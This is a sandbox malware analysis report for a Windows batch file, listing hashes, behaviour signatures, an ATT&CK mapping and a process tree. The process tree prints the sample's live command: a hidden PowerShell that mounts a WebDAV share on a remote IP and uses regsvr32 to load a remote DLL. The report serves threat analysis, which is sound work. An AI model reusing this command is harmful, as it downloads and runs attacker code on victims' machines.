d57c0af69864f37b2a7865f36da51cb0f58acf477e07911f1678a8a5fe5d23d7

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 21:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1684630441224035991.bat
Size

20KB
MD5

bbdf9e3885472a07e8da49719e3fffc3
SHA1

a8e9e51f395a3c8f55ba1170580fe2c09c93608a
SHA256

d57c0af69864f37b2a7865f36da51cb0f58acf477e07911f1678a8a5fe5d23d7
SHA512

26dd9793e325a9fb019b9aa7a4b27bebb218e3cd401210fcbf86e302b447507d66c6d54775fe184369894acc38e99c987df49854627d9e95d0972fa9469f4a8b
SSDEEP

384:tRUVlhISo/CXmwSsngwO5AmQKbQpKgO9w3Fy0oAykcx4QLuAwdRAFuphgfVdT:tR2h7mC2wS9FA1yQpKgKw3FjoLkgxHw8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2076	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2236	wordpad.exe
2236	wordpad.exe
2236	wordpad.exe
2236	wordpad.exe
2236	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 2236	2208	cmd.exe	31
PID 2208 wrote to memory of 2236	2208	cmd.exe	31
PID 2208 wrote to memory of 2236	2208	cmd.exe	31
PID 2208 wrote to memory of 2076	2208	cmd.exe	32
PID 2208 wrote to memory of 2076	2208	cmd.exe	32
PID 2208 wrote to memory of 2076	2208	cmd.exe	32
PID 2076 wrote to memory of 1968	2076	powershell.exe	34
PID 2076 wrote to memory of 1968	2076	powershell.exe	34
PID 2076 wrote to memory of 1968	2076	powershell.exe	34
PID 2076 wrote to memory of 2816	2076	powershell.exe	35
PID 2076 wrote to memory of 2816	2076	powershell.exe	35
PID 2076 wrote to memory of 2816	2076	powershell.exe	35
PID 2076 wrote to memory of 2816	2076	powershell.exe	35
PID 2076 wrote to memory of 2816	2076	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1684630441224035991.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1968
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll
    3⤵
    PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2076-23-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2076-24-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2208-16-0x0000000002390000-0x0000000002490000-memory.dmp

Filesize
1024KB

Download
memory/2208-17-0x0000000002390000-0x0000000002490000-memory.dmp

Filesize
1024KB

Download